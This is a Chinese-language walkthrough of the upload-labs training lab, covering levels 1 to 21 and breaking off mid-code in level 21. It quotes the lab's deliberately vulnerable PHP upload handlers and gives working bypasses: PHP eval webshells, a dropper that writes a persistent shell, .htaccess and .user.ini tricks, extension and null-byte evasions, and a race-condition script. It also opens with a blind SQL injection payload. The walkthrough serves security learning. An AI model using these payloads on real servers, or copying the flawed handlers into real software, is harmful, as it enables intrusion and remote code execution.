?id=1')and length((select database()))=10--+ 布尔盲注
UPload-labs靶场系列
Less1(前端验证)
文件上传漏洞靶场(upload-labs)通关+知识点教程(pass1-21)最新版(超详细)_哔哩哔哩_bilibili
上传一个PHP文件,抓包为空,说明并没有经过我们的抓包工具,猜测为前端验证。因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件
或者采用浏览器禁用前端Javascript的方法。我这里第一种貌似行不通,采用的第二个。即可上传成功。
上传成功后,复制图片链接,利用webshell工具连接即可
一句话木马: <?php @eval($_POST['a']); ?>
Less2(conten-type绕过)
首先上传一个php文件,开启代理抓包,可以看到上传失败,但是上传一个图片就能成功,
在上传图片时,将content-type类型变更,可以发现上传失败,可以猜测为MIME验证。
分析源代码可以发现存在一个MIME的验证
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
于是使用bp抓包,修改上传的PHP的content-type为image/png,即可上传PHP文件,然后复制图片地址用蚁剑连接即可。
Less3(特殊解析后缀)
还是同样的先上传PHP文件抓包,再上传图片文件分别抓包,
可以上传的提示看出这是一个明显的黑名单验证
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
查看源码可以看到黑名单的名字明显不全,可以利用php的低版本特性漏洞,采用特殊解析后缀绕过,尝试php3、php5后缀,可以看到绕过成功,然后放行数据包,复制图片地址,用蚁剑连接即可
Less4(黑名单验证,.htaccess)
源码查看:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到这次几乎涵盖了所有的后缀名过滤,但是发现不存在 htaccess 后缀
于是首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php
这样所有文件都会解析为php,然后再上传图片马,就可以解析:
图片马可以用在一句话木马里面加上GIF89a
就可以了,然后把后缀名改成png或者jpg等等
上传后用蚁剑连接即可
图片马另一个写法:
copy 1.jpg/b+2.php 3.jpg
/b是二进制形式打开
/a是ascii方式打开
htaccess开启方法:找到apache配置文件httpd.conf,全局搜说over找到如下图,将所有AllowOverride设置为ALL即可,这个值代表允许覆盖所有文件。
Less5(黑名单验证,user.ini/点+空格)
根据上传目录可以看到该上传目录下已经包含了=一个readme.php文件,于是可以利用user.ini的漏洞进行绕过。
首先编写图片木马,然后后缀改为.jpg后缀,且保证该图片中只包含php代码
<?php
@eval($_POST['a']);
echo"包含成功<br/>" //这一句仅作提示
?>
然后编写user.ini文件,使得访问所有php文件之前都会先去加载111.jpg文件内容
auto_prepend_file=111.jpg
然后上传,访问其中的readme.php文件,即可访问后门
可以看到连接成功
另一种方式是点+空格绕过
查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析代码可以发现关键过滤步骤是这几步:
$file_name = trim($_FILES['upload_file']['name']);//提取文件名
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//获取文件后缀,最后一个.及之后的内容
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
根据这几步关键步骤,我们采取逆推,可以发现,加入上传一个1.php. .文件,那么就可以绕过
上传成功,再用蚁剑连接即可。
Less6(黑名单验证,大小写)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码中的大小写拦截并不完善。利用.phP文件绕过
Less7(空格绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单。如1.php (注意这里有个空格)
Less8(点号绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关黑名单,没有使用deldot()过滤文件名末尾的点
,可以使用文件名后加.进行绕过
抓包,修改上传一句话木马文件名1.php
.(注意这里有个点)
Less9(额外数据流绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关黑名单,没有对::$D A T A 进 行 处 理 , 可 以 使 用 : : $DATA进行处理,可以使用::$DATA进行处理,可以使用::$DATA绕过黑名单上传PHP一句话文件,抓包改后缀1.php::$DATA
然后使用蚁剑连接1.php (注意蚁剑连接路径不要加上::$DATA)
Less10(点空格点拼接绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot(filename=deldot(file_name)操作去除文件名末尾的点
构造后缀绕过黑名单补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来上传1.php 然后用bp改后缀加点空格点(即文件名为1.php. .)
Less11(黑名单一次额验证,双写绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Less-12(get %00截断)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4
,并且magic_quotes_gpc
关闭。原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
上传1.php
用BP抓包修改参数,把upload/后面加上1.php%00
(即图二),下面的filename=”1.php”
改为1.png
上传完成后复制图像地址,将后面的php后面的内容删除即可访问
Less-13(post 0x00截断)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单(POST不会对里面的数据自动解码,需要在Hex中修改。)上传1.php
用BP抓包修改参数,然后修改后的结果为如图
原图:
修改:
由于POST不能编码,所以转到hex中将对应位置的php后面改为00
上传成功后,复制图片连接,将路径地址后面的图片删掉即可访问PHP,蚁剑同理
Less-14(图片文件头绕过)
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
代码会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件,可以利用图片马绕过配合文件包含漏洞实施。
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
制作图片马后上传,配合使用文件包含才能解析木马的执行,单单进行图片马的上传,服务器解析时会把图片马解析成图片文件,从而不能运行后门代码。也无法连接蚁剑。文件包含页面链接就在那里。
图片上传后,复制图片链接
以get方式利用文件包含漏洞引用访问该图片,解析里面的php代码
蚁剑连接也是采用上图url地址
Less-15(图片getimagesize函数绕过)
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法与less14保持一致,制作图片马,然后利用文件包含漏洞解析图片马,并连接
Less-16(exif_imagetype图片马)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法也与Less-14一致
Less-17(二次渲染)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。方法与14关一致,不过建议用gif。
Less-18(条件竞争)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。
进行下一步操作前,这里有个小细节,就是不要
把BP的拦截功能
关闭了,要一直保持拦截状态以达到测试更好的效果,然后选择Clear$
接着设置无限发送空的Payloads
,来让它一直上传该文件
最后建议这里把线程设置高一点
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php
文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url
地址XXX都是代表IP地址
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
接下来我们可以在BP点击开始攻击
可以看到上传该文件的数据包不停地在进行重放。
在BP攻击的同时
我们也要运行python脚本,目的就是不停地访问zoe.php
知道成功访问到为止。当出现OK
说明访问到了该文件,那么Tony.php
应该也创建成功了,用蚁剑连一下试试。
Less-19(解析漏洞+条件竞争)
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
生成图片马,然后将其上传,用BP拦截(基本上在BP上的操作跟上面第18关
没区别),只不过需要在上传的时候,将文件名改成7z后缀名(利用apache的解析漏洞)也可以改成其他的合法漏洞。
然后其余过程均与18关相似即可
Less-20(/.绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
没有对上传的文件做判断,只对用户输入的文件名做判断上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
Less-21(审计+数组绕过)
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
